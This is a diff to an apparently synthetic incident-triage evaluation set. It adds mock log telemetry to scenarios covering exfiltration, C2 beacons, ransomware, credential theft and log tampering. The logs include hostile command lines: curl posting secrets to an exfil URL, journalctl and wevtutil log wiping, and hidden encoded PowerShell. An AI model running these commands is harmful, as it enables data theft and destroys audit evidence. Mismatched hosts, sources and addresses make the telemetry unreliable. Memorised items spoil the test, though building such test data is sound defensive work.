+ "template_id": "dns-tunnel-exfil",
+ "template_index": 32,
+ "title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",
+ "description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 185.220.101.7.",
"expected_tactics": [
"TA0011",
"TA0010"
@@ -1946,14 +4039,27 @@
"txt records",
"base64",
"exfiltrat",
- "GCP-GKE-NODE-04",
- "45.142.122.111"
+ "WIN-DC-SECONDARY",
+ "185.220.101.7"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.185.220.101.7.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "WIN-DC-SECONDARY",
+ "dst_ip": "185.220.101.7",
+ "response_size": 512,
+ "qps": 240
+ }
]
},
{
"id": "INC-EVAL-089",
- "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-FILE-SHARE",
- "description": "Egress from WIN-FILE-SHARE to s3://atk-stage-185.220.101.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "template_id": "s3-exfil-cloud-storage",
+ "template_index": 33,
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-EXCHANGE-01",
+ "description": "Egress from WIN-EXCHANGE-01 to s3://atk-stage-192.168.1.100/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
"expected_tactics": [
"TA0010"
],
@@ -1967,15 +4073,39 @@
"cloud storage",
"egress",
"exfiltrat",
- "WIN-FILE-SHARE",
- "185.220.101.7",
+ "WIN-EXCHANGE-01",
+ "192.168.1.100",
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "WIN-EXCHANGE-01",
+ "requestParameters": {
+ "bucketName": "atk-stage-192.168.1.100",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-192.168.1.100/dump/customers.tar.gz"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-090",
- "title": "Personal Drive exfil by [email protected]",
- "description": "[email protected] on WIN-DC-SECONDARY uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "template_id": "personal-drive-exfil",
+ "template_index": 34,
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on GCP-GKE-NODE-04 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -1992,14 +4122,28 @@
"exfiltrat",
"source code",
"pii",
- "WIN-DC-SECONDARY",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "GCP-GKE-NODE-04",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
]
},
{
"id": "INC-EVAL-091",
- "title": "DGA-based C2 traffic from WIN-DC-SECONDARY",
- "description": "DGA traffic from WIN-DC-SECONDARY observed; 200+ NXDomain replies/min, IoCs match APT29 epoch 5. Beacons to 10.0.99.42.",
+ "template_id": "dga-c2",
+ "template_index": 35,
+ "title": "DGA-based C2 traffic from GCP-GKE-NODE-04",
+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 45.142.122.111.",
"expected_tactics": [
"TA0011"
],
@@ -2013,15 +4157,39 @@
"domain generation",
"nxdomain",
"beacon",
- "WIN-DC-SECONDARY",
- "10.0.99.42",
- "APT29"
+ "GCP-GKE-NODE-04",
+ "45.142.122.111",
+ "Volt Typhoon"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "qkz3pl4vnxq2.com",
+ "query_type": "A",
+ "src_host": "GCP-GKE-NODE-04",
+ "rcode": "NXDOMAIN",
+ "qps_above_baseline": 50.0
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "threat_actor": "Volt Typhoon"
+ }
]
},
{
"id": "INC-EVAL-092",
- "title": "HTTPS C2 beacon from WIN-EXCHANGE-01 to 185.220.101.7",
- "description": "Periodic HTTPS beacon from WIN-EXCHANGE-01 to 185.220.101.7 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
+ "template_id": "https-c2-beacon",
+ "template_index": 36,
+ "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 91.134.231.15",
+ "description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 91.134.231.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
"expected_tactics": [
"TA0011"
],
@@ -2035,14 +4203,31 @@
"beacon",
"ja3",
"Cobalt Strike",
- "WIN-EXCHANGE-01",
- "185.220.101.7"
+ "LIN-BUILD-CI03",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-BUILD-CI03",
+ "DestinationIp": "91.134.231.15",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1",
+ "interval_secs": 60,
+ "jitter_pct": 2
+ }
]
},
{
"id": "INC-EVAL-093",
- "title": "Ransomware encryption in progress on WIN-EXCHANGE-01",
- "description": "Mass file rename observed on WIN-EXCHANGE-01 ([email protected]); ..tooktdata extension applied to ~20 k files. Ransomware note R3ADM3-Cobalt Strike.txt found.",
+ "template_id": "ransomware-encryption",
+ "template_index": 37,
+ "title": "Ransomware encryption in progress on WIN-FIN-DB01",
+ "description": "Mass file rename observed on WIN-FIN-DB01 ([email protected]); ..pwned extension applied to ~20 k files. Ransomware note R3ADM3-FIN7.txt found.",
"expected_tactics": [
"TA0040"
],
@@ -2056,15 +4241,47 @@
"encrypt",
"rename",
"ransom note",
- "WIN-EXCHANGE-01",
- "Cobalt Strike"
+ "WIN-FIN-DB01",
+ "FIN7"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-FIN-DB01",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.pwned",
+ "User": "[email protected]",
+ "rename_rate_per_min": 4200
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-FIN-DB01",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-FIN7.txt",
+ "User": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "Ransomware behaviour: high-rate file rename + ransom note",
+ "severity": "critical",
+ "Computer": "WIN-FIN-DB01",
+ "threat_actor": "FIN7"
+ }
]
},
{
"id": "INC-EVAL-094",
- "title": "Cryptominer execution on WIN-EXCHANGE-01",
- "description": "XMRig miner spawned on WIN-EXCHANGE-01; CPU saturated to 95%. Mining pool 192.168.1.100:5555. Linked to MosaicRegressor.",
+ "template_id": "xmrig-cryptominer",
+ "template_index": 38,
+ "title": "Cryptominer execution on WIN-DC-PRIMARY",
+ "description": "XMRig miner spawned on WIN-DC-PRIMARY; CPU saturated to 95%. Mining pool 192.168.1.100:5555. Linked to MosaicRegressor.",
"expected_tactics": [
"TA0002",
"TA0040"
@@ -2078,15 +4295,30 @@
"xmrig",
"miner",
"cryptomine",
- "WIN-EXCHANGE-01",
+ "WIN-DC-PRIMARY",
"192.168.1.100",
"MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/xmrig",
+ "a0": "xmrig",
+ "a1": "-o",
+ "a2": "192.168.1.100:5555",
+ "hostname": "WIN-DC-PRIMARY",
+ "cpu_pct": 95
+ }
]
},
{
"id": "INC-EVAL-095",
- "title": "BEC: payment redirect by [email protected]",
- "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from K8S-PROD-CLUSTER to threat-actor account. Linked to Lazarus.",
+ "template_id": "bec-wire-fraud",
+ "template_index": 39,
+ "title": "BEC: payment redirect by [email protected]",
+ "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from GCP-GKE-NODE-04 to threat-actor account. Linked to APT29.",
"expected_tactics": [
"TA0001",
"TA0040"
@@ -2102,15 +4334,30 @@
"spoofed cfo",
"wire transfer",
"$250",
- "K8S-PROD-CLUSTER",
- "Lazarus"
+ "GCP-GKE-NODE-04",
+ "APT29"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "GCP-GKE-NODE-04",
+ "Subject": "URGENT: Wire instructions from CFO",
+ "From": "[email protected]",
+ "ReplyTo": "[email protected]",
+ "threat_actor": "APT29"
+ }
]
},
{
"id": "INC-EVAL-096",
+ "template_id": "public-s3-bucket-pii",
+ "template_index": 40,
"title": "Public S3 bucket exposing PII",
- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 45.142.122.111.",
+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -2126,13 +4373,52 @@
"public bucket",
"pii",
"cloudtrail",
- "45.142.122.111"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutBucketAcl",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {
+ "Grants": [
+ {
+ "Grantee": "AllUsers",
+ "Permission": "READ"
+ }
+ ]
+ }
+ }
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "ListObjectsV2",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "91.134.231.15",
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "max-keys": 1000
+ },
+ "userIdentity": {
+ "type": "AnonymousUser"
+ }
+ }
]
},
{
"id": "INC-EVAL-097",
- "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
- "description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via stolen session token.",
+ "template_id": "azure-ad-impossible-travel",
+ "template_index": 41,
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "description": "Successful Azure AD sign-in for [email protected] from 192.168.1.100 (impossible-travel from prior location). MFA satisfied via stolen session token.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -2148,14 +4434,40 @@
"impossible travel",
"session token",
"mfa",
- "45.142.122.111"
+ "192.168.1.100"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "192.168.1.100",
+ "location": {
+ "city": "Vladivostok",
+ "countryOrRegion": "RU"
+ },
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Previously satisfied",
+ "succeeded": true
+ }
+ ],
+ "riskEventTypes": [
+ "unfamiliarFeatures",
+ "unlikelyTravel"
+ ],
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-098",
- "title": "DDoS volumetric flood targeting public-facing K8S-PROD-CLUSTER",
- "description": "L4 SYN flood from a botnet (>1M PPS) targeting K8S-PROD-CLUSTER. Edge mitigation engaged but service degraded for 12 minutes.",
+ "template_id": "ddos-syn-flood",
+ "template_index": 42,
+ "title": "DDoS volumetric flood targeting public-facing WIN-HR-DESKTOP",
+ "description": "L4 SYN flood from a botnet (>1M PPS) targeting WIN-HR-DESKTOP. Edge mitigation engaged but service degraded for 12 minutes.",
"expected_tactics": [
"TA0040"
],
@@ -2168,14 +4480,28 @@
"ddos",
"syn flood",
"botnet",
- "K8S-PROD-CLUSTER",
+ "WIN-HR-DESKTOP",
"1M PPS"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://WIN-HR-DESKTOP/",
+ "status_code": 503,
+ "pps": 1120000,
+ "packet_type": "TCP-SYN",
+ "edge_mitigation": "engaged",
+ "duration_secs": 720
+ }
]
},
{
"id": "INC-EVAL-099",
- "title": "Insider preparing departure: large mailbox export by [email protected]",
- "description": "[email protected] exported full mailbox PST (8 GB) from LIN-OBS-LOGGER. HR flag: notice given last week.",
+ "template_id": "insider-mailbox-export",
+ "template_index": 43,
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "description": "[email protected] exported full mailbox PST (8 GB) from MAC-LEGAL-LAPTOP. HR flag: notice given last week.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -2191,14 +4517,29 @@
"PST",
"insider",
"departure",
- "LIN-OBS-LOGGER"
+ "MAC-LEGAL-LAPTOP"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-MailboxExportRequest",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Mailbox": "[email protected]",
+ "FilePath": "\\\\MAC-LEGAL-LAPTOP\\export\\[email protected]"
+ },
+ "Bytes": 8300000000
+ }
]
},
{
"id": "INC-EVAL-100",
- "title": "Malicious Office add-in installed for [email protected]",
- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-FILE-SHARE; loads on every Outlook startup; beacons to 91.134.231.15.",
+ "template_id": "office-vsto-addin",
+ "template_index": 44,
+ "title": "Malicious Office add-in installed for [email protected]",
+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-FILE-SHARE; loads on every Outlook startup; beacons to 10.0.99.42.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -2213,15 +4554,40 @@
"office add-in",
"vsto",
"outlook",
"WIN-FILE-SHARE",
- "91.134.231.15"
+ "10.0.99.42"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-FILE-SHARE",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-FILE-SHARE",
+ "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ "DestinationIp": "10.0.99.42",
+ "DestinationPort": 443
+ }
]
},
{
"id": "INC-EVAL-101",
- "title": "GitHub PAT leaked and abused from 203.0.113.45",
- "description": "Personal access token belonging to [email protected] used from 203.0.113.45 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
+ "template_id": "github-pat-leak",
+ "template_index": 45,
+ "title": "GitHub PAT leaked and abused from 45.142.122.111",
+ "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
"expected_tactics": [
"TA0006",
"TA0009"
@@ -2237,14 +4603,36 @@
"pat",
"token",
"private repo",
- "203.0.113.45"
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "git.clone",
+ "actor": "[email protected]",
+ "actor_ip": "45.142.122.111",
+ "repo_count": 14,
+ "programmatic_access_type": "personal_access_token",
+ "user_agent": "git/2.40.0"
+ },
+ {
+ "source": "github_audit",
+ "action": "push",
+ "actor": "[email protected]",
+ "repo": "[email protected]/dotfiles",
+ "visibility": "public",
+ "file_changed": ".env",
+ "secret_detected": "github_pat_*"
+ }
]
},
{
"id": "INC-EVAL-102",
- "title": "EC2 instance metadata service abused on WIN-FILE-SHARE",
- "description": "IMDSv1 abused on WIN-FILE-SHARE; temporary IAM credentials for role exfilled to 192.168.1.100. CloudTrail shows AssumeRole from external.",
+ "template_id": "ec2-imds-credential-theft",
+ "template_index": 46,
+ "title": "EC2 instance metadata service abused on LIN-BUILD-CI03",
+ "description": "IMDSv1 abused on LIN-BUILD-CI03; temporary IAM credentials for role exfilled to 172.16.50.7. CloudTrail shows AssumeRole from external.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -2260,14 +4648,39 @@
"metadata",
"iam credentials",
"AssumeRole",
- "WIN-FILE-SHARE",
- "192.168.1.100"
+ "LIN-BUILD-CI03",
+ "172.16.50.7"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ "status_code": 200,
+ "src_host": "LIN-BUILD-CI03",
+ "imds_version": "v1"
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "AssumeRole",
+ "eventSource": "sts.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "172.16.50.7",
+ "userIdentity": {
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"
+ },
+ "userAgent": "aws-cli/2.13"
+ }
]
},
{
"id": "INC-EVAL-103",
- "title": "Vendor admin password reset abuse for [email protected]",
- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.23. Token claimed within 90 seconds.",
+ "template_id": "helpdesk-password-reset-abuse",
+ "template_index": 47,
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -2282,14 +4695,34 @@
"password reset",
"social engineering",
"helpdesk",
- "198.51.100.23"
+ "185.220.101.7"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Reset user password.",
+ "UserId": "[email protected]",
+ "TargetUserId": "[email protected]",
+ "ClientIP": "10.0.0.50"
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "185.220.101.7",
+ "resultType": 0,
+ "seconds_after_reset": 87
+ }
]
},
{
"id": "INC-EVAL-104",
- "title": "OAuth refresh-token theft for [email protected]",
- "description": "Refresh token for [email protected] replayed from 203.0.113.45. Granted access to mailbox + OneDrive without re-prompt.",
+ "template_id": "oauth-refresh-token-theft",
+ "template_index": 48,
+ "title": "OAuth refresh-token theft for [email protected]",
+ "description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt.",
"expected_tactics": [
"TA0006"
],
@@ -2304,14 +4737,28 @@
"replay",
"onedrive",
"mailbox",
- "203.0.113.45"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 0,
+ "authenticationProtocol": "oAuth2",
+ "grantType": "refresh_token",
+ "resourceDisplayName": "Microsoft Graph"
+ }
]
},
{
"id": "INC-EVAL-105",
- "title": "Container image with embedded backdoor pulled by AZURE-VM-FIN-001",
- "description": "Image registry/repo:malicious-backdoor pulled by AZURE-VM-FIN-001. Layer scan flagged embedded netcat reverse-shell binary.",
+ "template_id": "malicious-container-image",
+ "template_index": 49,
+ "title": "Container image with embedded backdoor pulled by WIN-FILE-SHARE",
+ "description": "Image registry/repo:malicious-backdoor pulled by WIN-FILE-SHARE. Layer scan flagged embedded netcat reverse-shell binary.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -2327,13 +4774,47 @@
"registry",
"backdoor",
"netcat",
- "AZURE-VM-FIN-001"
+ "WIN-FILE-SHARE"
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "system:serviceaccount:default:deploy"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "image": "registry.local/repo:malicious-backdoor"
+ }
+ ]
+ }
+ },
+ "node": "WIN-FILE-SHARE"
+ },
+ {
+ "source": "edr",
+ "rule": "Image scan: embedded netcat reverse-shell binary",
+ "severity": "high",
+ "Computer": "WIN-FILE-SHARE",
+ "image": "registry.local/repo:malicious-backdoor",
+ "cve_layer_count": 2
+ }
]
},
{
"id": "INC-EVAL-106",
- "title": "Outlook rule auto-forwarding mail from [email protected]",
- "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 192.168.1.100. Linked to FIN7.",
+ "template_id": "outlook-auto-forward-rule",
+ "template_index": 50,
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 192.168.1.100. Linked to MosaicRegressor.",
"expected_tactics": [
"TA0006",
"TA0009"
@@ -2348,15 +4829,32 @@
"outlook rule",
"forward",
"mail",
"192.168.1.100",
- "FIN7"
+ "MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Sync",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true,
+ "MarkAsRead": true
+ },
+ "threat_actor": "MosaicRegressor"
+ }
]
},
{
"id": "INC-EVAL-107",
- "title": "Linux journald log tampering on MAC-LEGAL-LAPTOP",
- "description": "journalctl --rotate --vacuum-time=1s observed on MAC-LEGAL-LAPTOP by [email protected]; recent journal entries purged. Indicator removal.",
+ "template_id": "linux-journald-tampering",
+ "template_index": 51,
+ "title": "Linux journald log tampering on LIN-OBS-LOGGER",
+ "description": "journalctl --rotate --vacuum-time=1s observed on LIN-OBS-LOGGER by [email protected]; recent journal entries purged. Indicator removal.",
"expected_tactics": [
"TA0005"
],
@@ -2369,14 +4867,29 @@
"journalctl",
"log tampering",
"vacuum",
- "MAC-LEGAL-LAPTOP",
+ "LIN-OBS-LOGGER",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/journalctl",
+ "a0": "journalctl",
+ "a1": "--rotate",
+ "a2": "--vacuum-time=1s",
+ "hostname": "LIN-OBS-LOGGER",
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-108",
- "title": "Compromised CI runner on MAC-LEGAL-LAPTOP pushing to production",
- "description": "Self-hosted CI runner MAC-LEGAL-LAPTOP compromised. Job triggered from PR injected secret exfil step; secrets posted to 10.0.99.42.",
+ "template_id": "compromised-ci-runner",
+ "template_index": 52,
+ "title": "Compromised CI runner on LIN-BUILD-CI03 pushing to production",
+ "description": "Self-hosted CI runner LIN-BUILD-CI03 compromised. Job triggered from PR injected secret exfil step; secrets posted to 192.168.1.100.",
"expected_tactics": [
"TA0001",
"TA0006",
@@ -2393,14 +4906,39 @@
"self-hosted",
"secret",
"exfil",
- "MAC-LEGAL-LAPTOP",
- "10.0.99.42"
+ "LIN-BUILD-CI03",
+ "192.168.1.100"
+ ],
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "workflow_run.requested",
+ "workflow": "deploy.yml",
+ "actor": "external-contrib",
+ "repository": "aisoc/web",
+ "event": "pull_request",
+ "runner": "LIN-BUILD-CI03"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/curl",
+ "a1": "-X",
+ "a2": "POST",
+ "a3": "https://192.168.1.100/exfil",
+ "hostname": "LIN-BUILD-CI03",
+ "user": "ci-runner",
+ "secret_detected": true
+ }
]
},
{
"id": "INC-EVAL-109",
- "title": "Suspicious VPN login from new geography for [email protected]",
- "description": "VPN login for [email protected] from 45.142.122.111 (new country, no prior history). Subsequent lateral SMB scan from VPN range to WIN-DC-SECONDARY.",
+ "template_id": "vpn-new-geography",
+ "template_index": 53,
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "description": "VPN login for [email protected] from 10.0.99.42 (new country, no prior history). Subsequent lateral SMB scan from VPN range to LIN-K8S-NODE01.",
"expected_tactics": [
"TA0001",
"TA0008"
@@ -2416,15 +4954,38 @@
"new geography",
"lateral",
"smb scan",
- "45.142.122.111",
- "WIN-DC-SECONDARY"
+ "10.0.99.42",
+ "LIN-K8S-NODE01"
+ ],
+ "telemetry": [
+ {
+ "source": "vpn",
+ "action": "login_success",
+ "user": "[email protected]",
+ "src_ip": "10.0.99.42",
+ "geo_country": "UA",
+ "first_login_country": true
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "LIN-K8S-NODE01",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\IPC$",
+ "IpAddress": "10.0.99.42",
+ "EventCount": 128
+ }
]
},
{
"id": "INC-EVAL-110",
- "title": "Privileged command run as service account on MAC-CFO-LAPTOP",
- "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on MAC-CFO-LAPTOP. Anomalous.",
+ "template_id": "service-account-privileged-command",
+ "template_index": 54,
+ "title": "Privileged command run as service account on WIN-DEVOPS-LT",
+ "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on WIN-DEVOPS-LT. Anomalous.",
"expected_tactics": [
"TA0005",
"TA0006"
@@ -2439,14 +5000,29 @@
"service account",
"wevtutil",
"log clear",
- "MAC-CFO-LAPTOP"
+ "WIN-DEVOPS-LT"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DEVOPS-LT",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security",
+ "LogonType": 5
+ }
]
},
{
"id": "INC-EVAL-111",
- "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
- "description": "Inbound email from 172.16.50.7 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known APT29 infrastructure.",
+ "template_id": "phishing-macro-email",
+ "template_index": 0,
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 192.168.1.100 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-OBS-LOGGER; macro spawned cmd.exe and downloaded a stage-2 payload from a known Scattered Spider infrastructure.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -2460,16 +5036,50 @@
"evidence_keywords": [
"phishing email",
"macro",
- "172.16.50.7",
- "WIN-DC-PRIMARY",
+ "192.168.1.100",
+ "LIN-OBS-LOGGER",
"stage-2 payload"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "192.168.1.100",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "threat_actor": "Scattered Spider"
+ }
]
},
{
"id": "INC-EVAL-112",
- "title": "Exploitation of public-facing web app on LIN-EDGE-VPN02",
- "description": "WAF logs show SQL-injection and SSRF probes from 45.142.122.111 against the application on LIN-EDGE-VPN02. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "template_id": "webapp-sqli-ssrf-exploit",
+ "template_index": 1,
+ "title": "Exploitation of public-facing web app on MAC-LEGAL-LAPTOP",
+ "description": "WAF logs show SQL-injection and SSRF probes from 198.51.100.23 against the application on MAC-LEGAL-LAPTOP. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
"expected_tactics": [
"TA0001",
"TA0007"
